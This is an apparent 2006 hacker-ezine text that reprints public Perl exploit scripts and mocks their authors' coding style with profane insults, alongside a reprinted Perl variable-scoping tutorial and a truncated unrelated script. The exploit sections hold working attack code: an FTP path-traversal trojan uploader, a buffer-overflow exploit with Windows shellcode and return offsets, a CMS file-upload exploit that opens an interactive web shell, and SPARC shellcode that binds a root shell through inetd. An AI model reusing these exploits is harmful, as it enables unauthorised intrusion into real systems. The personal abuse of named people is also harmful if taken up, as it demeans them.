$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$$$$ $$$$$$$$$$$ $$$$ $$$$$$$$$$ $$$$ $$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$ $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$$$ $$$$ $$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$$ $$$$$$$$$$$$ $$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ [root@yourbox.anywhere]$ date Tue Jan 31 01:34:43 EST 2006 [root@yourbox.anywhere]$ cat ./fucksticks.pl use strict; $ARGV[0] = q |~ TOC ~|; $ARGV[1] = q |~ kokanin sucks ~|; $ARGV[2] = q |~ frustration ~|; $ARGV[3] = q |~ Critical Security critically sucks ~|; $ARGV[4] = q |~ School You: MJD ~|; $ARGV[5] = q |~ kaneda doesn't get away ~|; $ARGV[6] = q |~ ph33rs ~|; $ARGV[7] = q |~ Fyodor gets caught ~|; $ARGV[8] = q |~ School You: BrowserUK ~|; $ARGV[9] = q |~ He wants mercy ~|; $ARGV[10] = q |~ School You: japhy ~|; $ARGV[11] = q |~ DSR *clap clap* ~|; $ARGV[12] = q |~ School You: tachyon ~|; $ARGV[13] = q |~ Reads like Roadkill ~|; $ARGV[14] = q |~ School You: merlyn ~|; $ARGV[15] = q |~ r0t0r can't get a break ~|; $ARGV[16] = q |~ Ch4r's contribution to Perl ~|; $ARGV[17] = q |~ School You: Juerd ~|; $ARGV[18] = q |~ byterage dropped the ball ~|; $ARGV[19] = q |~ School You: tilly ~|; $ARGV[20] = q |~ ilya loses his reputation ~|; $ARGV[21] = q |~ Shoutz and Outz ~|; [root@yourbox.anywhere]$ perl bring_it.pl -[0x01] # kokanin sucks -------------------------------------------------- # kokanin man I expected more from you # gobbles gobbles =P if(!$ARGV[0]){ die "Usage: ./thisscript.pl [user] [pass] [port] [path] [trojan.exe] [/path/to/target.exe] \n";} # heh use Net::FTP; my $target = $ARGV[0]; # you won't be the last to be horribly ignorant of shift my $dotdot = "../../../../../../../../../../../../../../"; # we got this thing called x, eh? my $dotdot = '../' x 14; if($ARGV[1]){ $user = $ARGV[1] } else { $user = "IEUser";} if($ARGV[2]){ $pass = $ARGV[2] } else { $pass = "mail\@mail.com";} if($ARGV[3]){ $port = $ARGV[3] } else { $port = "22003";} if($ARGV[4]){ $writablepath = $ARGV[4] } else { $writablepath = "/guests";} if($ARGV[5]){ $trojan = $ARGV[5] } else { $trojan = "/etc/hosts";} if($ARGV[6]){ $destination = $ARGV[6] } else { $destination = "owned.txt";} # Dude, learn how to handle arguments. see the 'shift' function? takes a value off an array. smooth huh? #my $target = shift || '127.0.0.1'; #my $user = shift || 'IEUser'; #my $pass = shift || 'mail@mail.com'; #my $port = shift || '22003'; #my $path = shift || '/guests'; #my $trojan = shift || '/etc/hosts'; #my $dest = shift || 'owned.txt'; print " target: $target \n user: $user \n pass: $pass \n port: $port \n writable path: $writablepath \n trojan: $trojan \n targetfile: $destination \n"; use Net::FTP; # love how you include this twice. $ftp = Net::FTP->new("$target", #way to excess quote Debug => 0, Port => "$port") #oh look its those quotes again or die "Cannot connect: $@"; $ftp->login("$user","$pass") # quotes quotes! or die "Cannot login ", $ftp->message; $ftp->cwd("$writablepath") # quotes! or die "Cannot go to writable dir ", $ftp->message; my @systemroots = ("PUNIX","WINXP","WINNT","WIN2000","WIN2K","WINDOWS","WINDOZE"); # ever heard of qw(), buddy? for(@systemroots){ $reply = $ftp->quot("SIZE " . $dotdot . $_ . "/system32/at.exe"); if($reply == 2) { print " %SYSTEMROOT% is /$_\n";my $systemroot=$_; } # way to actually use that $systemroot var sometime } $ftp->binary; $ftp->put("$trojan","$dotdot"."$destination") # you really love quotes, don't you? and print "file successfully uploaded, donate money to kokanin\@gmail.com\n" or die "Something messed up, file upload failed ", $ftp->message; $ftp->quit; # idiot == kokanin ? # kokanin = idiot # you said it # For a guy with a reputation, a knack for finding vulns, and years under your belt, you really suck. -[0x02] # frustration ---------------------------------------------------- It's all these morons who can't code Perl worth wiping their ass that think they can criticize it. They fail to have any intelligent understanding of the language. They try to code in Perl like they would code in C, and bitch when they hit differences or limitations. They don't learn the aspects of the language that aren't parallel with C. They keep their heads so far up their asses that they never learn the language, yet continue to write their cheap hacks in it while always supporting that C (or their language of choice) is better. Do they understand how stupid they sound when you make judgements on Perl with such a childish vantage point on it? Maybe they can read this and learn something. Or will they be arrogant enough to just dismiss it? -[0x03] # Critical Security Critically Sucks ----------------------------- use Net::FTP; use Switch; # Switch sucks if (@ARGV < 3) { print "--------------------------------------------------------------------\n"; print "Usage : exploit.pl -hVictimsIPAddress -yYourIPAddress -oOffsetNumber\n"; print " Offsets: \n"; print " 1 - 0x76B43AE0 Windows XP SP2 winmm.dll call esp\n"; print " 2 - 0x76B5D17B Windows XP SP1 winmm.dll call esp\n"; print " 3 - 0x71AB7BFB Windows XP SP0 ws2_32.dll jmp esp\n"; print " 4 - 0x9C2295DF FreeBSD 6.0-RELEASE Wine 0.9.6 kernel32.dll jmp esp\n"; print " If values not specified, default values will be used.\n"; print " Example : ./eploit.pl -h127.0.0.1 -y127.0.0.1 -o1\n"; print "--------------------------------------------------------------------\n"; } $host = "127.0.0.1"; $yourip = "127.0.0.1" ; # how about: my ($host, $yourip) = '127.0.0.1'; $offset = "\xE0\x3A\xB4\x76"; foreach (@ARGV) { $host = $1 if ($_=~/-h((.*)\.(.*)\.(.*)\.(.*))/); $yourip = $1 if ($_=~/-y((.*)\.(.*)\.(.*)\.(.*))/); $offset = $1 if ($_=~/-o(.*)/); } # Do I need to get into how much you suck at regex? # Way to overuse parens and .* and $_ # my ($host) = $_ =~ /(-h\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; # might as name that loop val since you'll use it switch ($offset) { case 1 { $offset = "\xE0\x3A\xB4\x76" } # Windows XP SP2 winmm.dll call esp case 2 { $offset = "\x7B\xD1\xB5\x76" } # Windows XP SP1 winmm.dll call esp case 3 { $offset = "\xFB\x7B\xAB\x71" } # Windows XP SP0 ws2_32.dll jmp esp case 4 { $offset = "\xDF\x95\x22\x9C" } # FreeBSD 6.0-RELEASE Wine 0.9.6 kernel32.dll jmp esp } foreach $letter (split '', $yourip) { $c++;}; # never heard of length() $ftp = Net::FTP->new($host, Debug => 0) or die "Cannot connect: $@"; $user = "A" x 213 . # You could give kokanin some lessons "A" x (15 - $c) . $offset . # ret adresas á kokio dll'o call esp ar jmp esp, ar ka nors panaðaus svarbu, kad nuðoktume á esp ;) "\x90" x 25 . # nop'ø sled'as, kad sulygintume su esp esanèiu adresu # ðelkodas paleidþiantis notepad� (ðelkodas skirtas tiem kas sakë, jog critical mëgsta DoS :*) - norësit, ásidësit normalø.. "\xCD\x03". "\xEB\x61\x56\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C". "\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\xC3\x60\x8B\x6C". "\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B". "\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34". "\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74". "\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28". "\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B". "\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24". "\x1C\x61\xC3\xE8\x9A\xFF\xFF\xFF\x68\x98\xFE\x8A". "\x0E\x50\xE8\xA2\xFF\xFF\xFF\xEB\x02\xEB\x05\xE8". "\xF9\xFF\xFF\xFF\x5B\x83\xC3\x1C\x33\xC9\x88\x0B". "\x83\xEB\x0B\x41\x51\x53\xFF\xD0\x90\x6E\x6F\x74". "\x65\x70\x61\x64\x2E\x65\x78\x65\x01"; $ftp->login("$user","biatch"); # bah, just when I thought you knew not to quote vars -[0x04] # School You: MJD ------------------------------------------------ Just the FAQs: Coping with Scoping In the Beginning, some time around 1960, every part of your program had access to all the variables in every other part of the program. That turned out to be a problem, so language designers invented local variables, which were visible in only a small part of the program. That way, programmers who used a variable x could be sure that nobody was able to tamper with the contents of x behind their back. They could also be sure that by using x they weren't tampering with someone else's variable by mistake. Every programming language has a philosophy, and these days most of these philosophies have to do with the way the names of variables are managed. Details of which variables are visible to which parts of the program, and what names mean what, and when, are of prime importance. The details vary from somewhat baroque, in languages like Lisp, to extremely baroque, in languages like C++. Perl unfortunately, falls somewhere towards the rococo end of this scale. The problem with Perl isn't that it has no clearly-defined system of name management, but rather that it two systems, both working at once. Here's the Big Secret about Perl variables that most people learn too late: Perl has two completely separate, independent sets of variables. One is left over from Perl 4, and the other is new. The two sets of variables are called `package variables' and `lexical variables', and they have nothing to do with each other. Package variables came first, so we'll talk about them first. Then we'll see some problems with package variables, and how lexical variables were introduced in Perl 5 to avoid these problems. Finally, we'll see how to get Perl to automatically diagnose places where you might not be getting the variable you meant to get, which can find mistakes before they turn into bugs. Package Variables $x = 1 Here, $x is a package variable. There are two important things to know about package variables: Package variables are what you get if you don't say otherwise. Package variables are always global. Global means that package variables are always visible everywhere in every program. After you do $x = 1, any other part of the program, even some other subroutine defined in some other file, can inspect and modify the value of $x. There's no exception to this; package variables are always global. Package variables are divided into families, called packages. Every package variable has a name with two parts. The two parts are analogous to the variable's given name and family name. You can call the Vice-President of the United States `Al', if you want, but that's really short for his full name, which is `Al Gore'. Similarly, $x has a full name, which is something like $main::x. The main part is the package qualifier, analogous to the `Gore' part of `Al Gore'. Al Gore and Al Capone are different people even though they're both named `Al'. In the same way, $Gore::Al and $Capone::Al are different variables, and $main::x and $DBI::x are different variables. You're always allowed to include the package part of the variable's name, and if you do, Perl will know exactly which variable you mean. But for brevity, you usually like to leave the package qualifier off. What happens if you do? The Current Package If you just say $x, perl assumes that you mean the variable $x in the current package. What's the current package? It's normally main, but you can change the current package by writing package Mypackage; in your program; from that point on, the current package is Mypackage. The only thing the current package does is affect the interpretation of package variables that you wrote without package names. If the current package is Mypackage, then $x really means $Mypackage::x. If the current package is main, then $x really means $main::x. If you were writing a module, let's say the MyModule module, you would probably put a line like this at the top of the module file: package MyModule; From there on, all the package variables you used in the module file would be in package MyModule, and you could be pretty sure that those variables wouldn't conflict with the variables in the rest of the program. It wouldn't matter if both you and the author of DBI were to use a variable named $x, because one of those $xes would be $MyModule::x and the other would be $DBI::x. Remember that package variables are always global. Even if you're not in package DBI, even if you've never heard of package DBI, nothing can stop you from reading from or writing to $DBI::errstr. You don't have to do anything special. $DBI::errstr, like all package variables, is a global variable, and it's available globally; all you have to do is mention its full name to get it. You could even say package DBI; $errstr = 'Ha ha Tim!'; and that would modify $DBI::errstr. Package Variable Trivia There are only three other things to know about package variables, and you might want to skip them on the first reading: The package with the empty name is the same as main. So $::x is the same as $main::x for any x. Some variables are always forced to be in package main. For example, if you mention %ENV, Perl assumes that you mean %main::ENV, even if the current package isn't main. If you want %Fred::ENV, you have to say so explicitly, even if the current package is Fred. Other names that are special this way include INC, all the one-punctuation-character names like $_ and $$, @ARGV, and STDIN, STDOUT, and STDERR. Package names, but not variable names, can contain ::. You can have a variable named $DBD::Oracle::x. This means the variable x in the package DBD::Oracle; it has nothing at all to do with the package DBD which is unrelated. Isaac Newton is not related to Olivia Newton-John, and Newton::Isaac is not related to Newton::John::Olivia. Even though it appears that they both begin with Newton, the appearance is deceptive. Newton::John::Olivia is in package Newton::John, not package Newton. That's all there is to know about package variables. Package variables are global, which is dangerous, because you can never be sure that someone else isn't tampering with them behind your back. Up through Perl 4, all variables were package variables, which was worrisome. So Perl 5 added new variables that aren't global. Lexical Variables Perl's other set of variables are called lexical variables (we'll see why later) or private variables because they're private. They're also sometimes called my variables because they're always declared with my. It's tempting to call them `local variables', because their effect is confined to a small part of the program, but don't do that, because people might think you're talking about Perl's local operator, which we'll see later. When you want a `local variable', think my, not local. The declaration my $x; creates a new variable, named x, which is totally inaccessible to most parts of the program---anything outside the block where the variable was declared. This block is called the scope of the variable. If the variable wasn't declared in any block, its scope is from the place it was declared to the end of the file. You can also declare and initialize a my variable by writing something like my $x = 119; You can declare and initialize several at once: my ($x, $y, $z, @args) = (5, 23, @_); Let's see an example of where some private variables will be useful. Consider this subroutine: sub print_report { @employee_list = @_; foreach $employee (@employee_list) { $salary = lookup_salary($employee); print_partial_report($employee, $salary); } } If lookup_salary happens to also use a variable named $employee, that's going to be the same variable as the one used in print_report, and the works might get gummed up. The two programmers responsible for print_report and lookup_salary will have to coordinate to make sure they don't use the same variables. That's a pain. In fact, in even a medium-sized project, it's an intolerable pain. The solution: Use my variables: sub print_report { my @employee_list = @_; foreach my $employee (@employee_list) { my $salary = lookup_salary($employee); print_partial_report($employee, $salary); } } my @employee_list creates a new array variable which is totally inaccessible outside the print_report function. for my $employee creates a new scalar variable which is totally inaccessible outside the foreach loop, as does my $salary. You don't have to worry that the other functions in the program are tampering with these variables, because they can't; they don't know where to find them, because the names have different meanings outside the scope of the my declarations. These `my variables' are sometimes called `lexical' because their scope depends only on the program text itself, and not on details of execution, such as what gets executed in what order. You can determine the scope by inspecting the source code without knowing what it does. Whenever you see a variable, look for a my declaration higher up in the same block. If you find one, you can be sure that the variable is inaccessible outside that block. If you don't find a declaration in the smallest block, look at the next larger block that contains it, and so on, until you do find one. If there is no my declaration anywhere, then the variable is a package variable. my variables are not package variables. They're not part of a package, and they don't have package qualifiers. The current package has no effect on the way they're interpreted. Here's an example: my $x = 17; package A; $x = 12; package B; $x = 20; # $x is now 20. # $A::x and $B::x are still undefined The declaration my $x = 17 at the top creates a new lexical variable named x whose scope continues to the end of the file. This new meaning of $x overrides the default meaning, which was that $x meant the package variable $x in the current package. package A changes the current package, but because $x refers to the lexical variable, not to the package variable, $x=12 doesn't have any effect on $A::x. Similarly, after package B, $x=20 modifies the lexical variable, and not any of the package variables. At the end of the file, the lexical variable $x holds 20, and the package variables $main::x, $A::x, and $B::x are still undefined. If you had wanted them, you could still have accessed them by using their full names. The maxim you must remember is: Package variables are global variables. For private variables, you must use my. local and my Almost everyone already knows that there's a local function that has something to do with local variables. What is it, and how does it related to my? The answer is simple, but bizarre: my creates a local variable. local doesn't. First, here's what local $x really does: It saves the current value of the package variable $x in a safe place, and replaces it with a new value, or with undef if no new value was specified. It also arranges for the old value to be restored when control leaves the current block. The variables that it affects are package variables, which get local values. But package variables are always global, and a local package variable is no exception. To see the difference, try this: $lo = 'global'; $m = 'global'; A(); sub A { local $lo = 'AAA'; my $m = 'AAA'; B(); } sub B { print "B ", ($lo eq 'AAA' ? 'can' : 'cannot') , " see the value of lo set by A.\n"; print "B ", ($m eq 'AAA' ? 'can' : 'cannot') , " see the value of m set by A.\n"; } This prints B can see the value of lo set by A. B cannot see the value of m set by A. What happened here? The local declaration in A saved a new temporary value, AAA, in the package variable $lo. The old value, global, will be restored when A returns, but before that happens, A calls B. B has no problem accessing the contents of $lo, because $lo is a package variable and package variables are always available everywhere, and so it sees the value AAA set by A. In contrast, the my declaration created a new, lexically scoped variable named $m, which is only visible inside of function A. Outside of A, $m retains its old meaning: It refers the the package variable $m; which is still set to global. This is the variable that B sees. It doesn't see the AAA because the variable with that value is a lexical variable, and only exists inside of A. What Good is local? Because local does not actually create local variables, it is not very much use. If, in the example above, B happened to modify the value of $lo, then the value set by A would be overwritten. That is exactly what we don't want to happen. We want each function to have its own variables that are untouchable by the others. This is what my does. Why have local at all? The answer is 90% history. Early versions of Perl only had global variables. local was very easy to implement, and was added to Perl 4 as a partial solution to the local variable problem. Later, in Perl 5, more work was done, and real local variables were put into the language. But the name local was already taken, so the new feature was invoked with the word my. my was chosen because it suggests privacy, and also because it's very short; the shortness is supposed to encourage you to use it instead of local. my is also faster than local. When to Use my and When to Use local Always use my; never use local. Wasn't that easy? Other Properties of my Variables Every time control reaches a my declaration, Perl creates a new, fresh variable. For example, this code prints x=1 fifty times: for (1 .. 50) { my $x; $x++; print "x=$x\n"; } You get a new $x, initialized to undef, every time through the loop. If the declaration were outside the loop, control would only pass by it once, so there would only be one variable: { my $x; for (1 .. 50) { $x++; print "x=$x\n"; } } This prints x=1, x=2, x=3, ... x=50. You can use this to play a useful trick. Suppose you have a function that needs to remember a value from one call to the next. For example, consider a random number generator. A typical random number generator (like Perl's rand function) has a seed in it. The seed is just a number. When you ask the random number generator for a random number, the function performs some arithmetic operation that scrambles the seed, and it returns the result. It also saves the result and uses it as the seed for the next time it is called. Here's typical code: (I stole it from the ANSI C standard, but it behaves poorly, so don't use it for anything important.) $seed = 1; sub my_rand { $seed = int(($seed * 1103515245 + 12345) / 65536) % 32768; return $seed; } And typical output: 16838 14666 10953 11665 7451 26316 27974 27550 There's a problem here, which is that $seed is a global variable, and that means we have to worry that someone might inadvertently tamper with it. Or they might tamper with it on purpose, which could affect the rest of the program. What if the function were used in a gambling program, and someone tampered with the random number generator? But we can't declare $seed as a my variable in the function: sub my_rand { my $seed; $seed = int(($seed * 1103515245 + 12345) / 65536) % 32768; return $seed; } If we did, it would be initialized to undef every time we called my_rand. We need it to retain its value between calls to my_rand. Here's the solution: { my $seed = 1; sub my_rand { $seed = int(($seed * 1103515245 + 12345) / 65536) % 32768; return $seed; } } The declaration is outside the function, so it only happens once, at the time the program is compiled, not every time the function is called. But it's a my variable, and it's in a block, so it's only accessible to code inside the block. my_rand is the only other thing in the block, so the $seed variable is only accessible to the my_rand function. $seed here is sometimes called a `static' variable, because it stays the same in between calls to the function. (And because there's a similar feature in the C language that is activated by the static keyword.) my Variable Trivia You can't declare a variable my if its name is a punctuation character, like $_, @_, or $$. You can't declare the backreference variables $1, $2, ... as my. The authors of my thought that that would be too confusing. Obviously, you can't say my $DBI::errstr, because that's contradictory---it says that the package variable $DBI::errstr is now a lexical variable. But you can say local $DBI::errstr; it saves the current value of $DBI::errstr and arranges for it to be restored at the end of the block. New in Perl 5.004, you can write foreach my $i (@list) { instead, to confine the $i to the scope of the loop instead. Similarly, for (my $i=0; $i<100; $i++) { confines the scope of $i to the for loop. Declarations If you're writing a function, and you want it to have private variables, you need to declare the variables with my. What happens if you forget? sub function { $x = 42; # Oops, should have been my $x = 42. } In this case, your function modifies the global package variable $x. If you were using that variable for something else, it could be a disaster for your program. Recent versions of Perl have an optional protection against this that you can enable if you want. If you put use strict 'vars'; at the top of your program, Perl will require that package variables have an explicit package qualifier. The $x in $x=42 has no such qualifier, so the program won't even compile; instead, the compiler will abort and deliver this error message: Global symbol "$x" requires explicit package name at ... If you wanted $x to be a private my variable, you can go back and add the my. If you really wanted to use the global package variable, you could go back and change it to $main::x = 42; or whatever would be appropriate. Just saying use strict turns on strict vars, and several other checks besides. See perldoc strict for more details. Now suppose you're writing the Algorithms::KnuthBendix modules, and you want the protections of strict vars But you're afraid that you won't be able to finish the module because your fingers are starting to fall off from typing $Algorithms::KnuthBendix::Error all the time. You can save your fingers and tell strict vars to make an exception: package Algorithms::KnuthBendix; use vars '$Error'; This exempts the package variable $Algorithms::KnuthBendix::Error from causing a strict vars failure if you refer to it by its short name, $Error. You can also turn strict vars off for the scope of one block by writing { no strict 'vars'; # strict vars is off for the rest of the block. } Summary Package variables are always global. They have a name and a package qualifier. You can omit the package qualifier, in which case Perl uses a default, which you can set with the package declaration. For private variables, use my. Don't use local; it's obsolete. You should avoid using global variables because it can be hard to be sure that no two parts of the program are using one another's variables by mistake. To avoid using global variables by accident, add use strict 'vars' to your program. It checks to make sure that all variables are either declared private, are explicitly qualified with package qualifiers, or are explicitly declared with use vars. -[0x05] # kaneda doesn't get away ---------------------------------------- # kaneda, not too bad. Almost decent actually. # But I just couldn't let this slip by ;) print "creLoaded <= 6.15 HTMLAREA automated perl exploit\nhacked up by kaneda\n"; # what the hell is this doing up here? use LWP::UserAgent; use HTTP::Request::Common; use Getopt::Std; use Term::ReadLine; # Yet no strict? my $baseurl = "/admin/htmlarea/popups/file/files.php"; my $status = getopts('s:p:a:'); if(@ARGV < 1) { die(usage()); } # what the hell is this doing down here? # how about you die() at the end of usage() my %vars, $response, $masterurl, $browser, $cmd; $masterurl = @ARGV[0]; $browser = LWP::UserAgent->new; # my $masterurl = shift; # my $browser = LWP::UserAgent->new; # etc if($opt_s) { print "[*] User-defined script '$opt_s' will be used instead of 'default'\n"; } if($opt_p) { $browser->proxy(['http', 'https'] => $opt_p); print "[*] HTTP/HTTPS proxy set to $opt_p\n"; } if($opt_a) { @tmp = split(",",$opt_a); # very "unperl" way to form split foreach $tmpvar (@tmp) { # such lovely variable names @tmp2 = split("=",$tmpvar); $vars{$tmp2[0]} = $tmp2[1]; print "[+] Adding variable '" . $tmp2[0] . "' with value '" . $tmp2[1] . "'\n"; } } sub usage { print "usage: creloaded615.pl [-s/path/to/file.php] [-phostname:port] [-avarname1=value1,...,varname2=value2] URL\n\n"; print "-a - additional variables i.e. -aaction=create,cid=12\n"; print "-p - use http/https proxy, format hostname:port i.e. -pmyproxy.com:8080\n"; print "-s - specify path to user-defined script instead of using default\n"; print "URL - http://vuln/store\n\n"; exit; # I thought you already called die()? Maybe a bit redundant } sub sendform { if($opt_G) { my $url = $masterurl . "?"; foreach $tmp (keys (%vars)) { $url .= "\&$tmp=" . $vars{$tmp}; } $response = $browser->get($url); die "Failed to get!" unless defined $response; # oooh, you know 'unless', way to throw away that cred with 'defined' here } else { $response = $browser->post($masterurl, \%vars); die "Failed to post!" unless defined $response; } } if(!$opt_s) { # Lazy. <-- no shit. print "[*] Creating 'default' PHP script\n"; $tmp = ""; open(FILE, "> /tmp/default.php"); # open my $FILE, '>', '/tmp/default.php' or die "look ma, and error message $!"; print FILE $tmp; close(FILE); # mmm unneeded parens $opt_s = "/tmp/default.php"; } open(FILE, "< $opt_s"); # there's that lame open again @content = ; close(FILE); # way to use that @content array latter on... if(!$vars{"dirPath"}) { print "[*] Setting upload path to $masterurl/images\n"; $vars{"dirPath"} = "/../images/"; } $tmp = $masterurl . $baseurl; print "[*] Abusing creLOADED\n"; $browser->timeout(10); $req = POST $tmp, Content_Type => 'form-data', Content => [ actions => "upload", dirPath => $vars{"dirPath"}, upload => [ $opt_s ] ]; $response = $browser->request($req); $browser->timeout(180); $term = Term::ReadLine->new('cre'); print "[*] Executing 'id' then spawning fake shell\n"; $masterurl = $masterurl . "/images/default.php"; # I thought you C noobs knew how to use .= $vars{"a"} = "id"; &sendform; # oh yeah, Perl 4 here we come print $response->content; while(1) { $prompt = "bash-2.05b\$ "; $tmp = $term->readline($prompt, ""); $cmd = $tmp; if(($cmd eq "quit") || ($cmd eq "exit")) { exit; } # oh shit $vars{"a"} = $cmd; &sendform; # hehe print $response->content; } -[0x06] # ph33rs --------------------------------------------------------- Nobody is safe from our criticism. I picked everyone here specifically. Why waste my time with somebody not worth criticizing? I'll take on the elite. Everyone with a reputation. These guys get to be elitist assholes, yet they can't keep their Perl code up to par. Anyone listed here wrote Perl like shit. And released it publicly. Maybe they were even proud of it. Rush to exploit sites, put up your exploit. Hope nobody notices that any decent Perl programmer wouldn't do to be associated with you. Where's your knowledge now? Where's your years of programming experience? How come, with everything you've been through, your Perl has become our joke? I'm nice. Note that I kept it to one shitty Perl script per author. And I didn't pick on everything in the code. What's with ezines and a lack of Perl code? Did they see me coming? b0g, b4b0, bow, el8, h0no, none of them. Here I thought that in those hundreds of kilobytes of content they'd have some quality Perl. Guess not. Smart fuckers, stuck to what they know. -[0x07] # Fyodor gets caught --------------------------------------------- # Fyodor, this is almost too simple, and you do it almost nicely $cmdline="echo 'ingreslock stream tcp nowait root /bin/sh sh -i' > /tmp/bob; /usr/sbin/inetd -s /tmp/bob"; $cmdline=$ARGV[0] if $ARGV[0]; # $cmdline = shift || "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' > /tmp/bob; /usr/sbin/inetd -s /tmp/bob"; $nop='%80%1b%c0%1f'; $strlen=0x54 + length($cmdline); # what's with you guys and parens for everything? $cmdline=~ s/ /%20/g; $strlen=sprintf "%%%x", $strlen; $shell= '%20%bf%ff%ff' .# start:bn,a ! super-dooper trick to get current address ;') '%20%bf%ff%ff' .# boom:bn,a '%7f%ff%ff%ff' .# call boom '%90%03%e0%48' .# add %o7, binksh - boom, %o0 ! put binksh address into %o0 '%92%03%e0%38' .# add %o7, argz - boom, %o1 ! put address of argz array into %o1 '%a0%03%e0%51' .# add %o7, minusc - boom, %l0 ! put address of -c argument into %l0 '%a2%03%e0%54' .# add %o7, cmdline - boom, %l1 ! put address of command line argument into %l1 '%c0%2b%e0%50' .# stb %g0, [ %o7 + minusc-boom-1 ] ! put ending zero byte at the end of /bin/sh '%c0%2b%e0%53' .#stb %g0, [ %o7 + cmdline-boom-1 ] ! put ending zero byte at the end of -c '%c0%2b%e0' . $strlen .# stb %g0, [ %o7 + endmark-boom-1 ] ! put ending zero byte at the end of command line '%d0%23%e0%38' .#st %o0, [ %o7 + argz-boom ] ! store pointer to ksh into 0 element of argz '%e0%23%e0%3c' .#st %l0, [ %o7 + argz-boom+4 ] ! store pointer to -c into 1 element of argz '%e2%23%e0%40' .#st %l1, [ %o7 + argz-boom+8 ] ! store pointer to cmdline into 2 element of argz '%c0%23%e0%44' .#st %g0, [ %o7 + argz-boom+12 ] ! store NULL pointer at the end '%82%10%20%0b' .#mov 0xb, %g1 '%91%d0%20%08' .#ta 8 '%ff%ff%ff%ff'. # 40argz: 0xffffffff; '%ff%ff%ff%ff'. # 44 0xffffffff; '%ff%ff%ff%ff'. # 48 0xffffffff; '%ff%ff%ff%ff'. # 52 0xffffffff; '/bin/kshA' . # 56 binksh: "/bin/kshA"; '-cA' . $cmdline . 'A'; # cmdline: "blahblahA"; ################################################## # Generate huge GET /.....shtml here # ################################################## $padd=814-length($shell); print STDERR "pad is $padd\n"; print "GET /"; print $nop x 40; print $she11; print "A"x $padd; # we have this . operator, ok? print "\xfd\xe7%dc\x80"; # %i0 print "AAAA"; # %i1 print "AAAA"; # %i2 print "AAAA"; # %i3 print "AAAA"; # %i4 print "AAAA"; # %i5 # you know the x operator, why the fuck not print "A" x 20; # everyone likes the dumb way print '%fd%c3%16%58'; #%fp (%i6) print '%ff%21%d7%ac'; # %i7 print "A"x1200; print ".shtml HTTP/1.0\n\n"; -[0x08] # School You: BrowserUK ------------------------------------------ # He had this all tabbed nicely too # 'Evolution in Action' #! perl -slw use strict; use Term::ReadKey; use Clone qw[ clone ]; use List::Util qw[ min reduce sum ]; $a=$b; $| = 1; use constant { X => 0, Y => 1, }; use constant { REP => 0, LOCNS => 1, SCORE => 2 }; our $GRID||= '100:100';## X:Y of grid our @GRID = split ':', $GRID; our $REPN||= 10;## Number of representatives our $LOCN||= $REPN * 3;## Number of locations our $EVO||= 1000;## Evolution backtrack count our $S and srand( 1 );## allows comparison between runs. print "Reps: $REPN Locations:$LOCN"; die "LOCN must be >= $REPN" unless $LOCN >= $REPN; sub show { ## Format sets for display system 'cls' if @_ > 1; for( @{ $_[ 0 ] } ) { printf "[%7s] %7g [ %s ]\n", "@{ $_->[REP] }", $_->[SCORE]||0.0, join '', map{ sprintf "[%3d:%3d]", @$_ } @{ $_->[LOCNS] }; } } sub pythagoras { ## calc distance between to 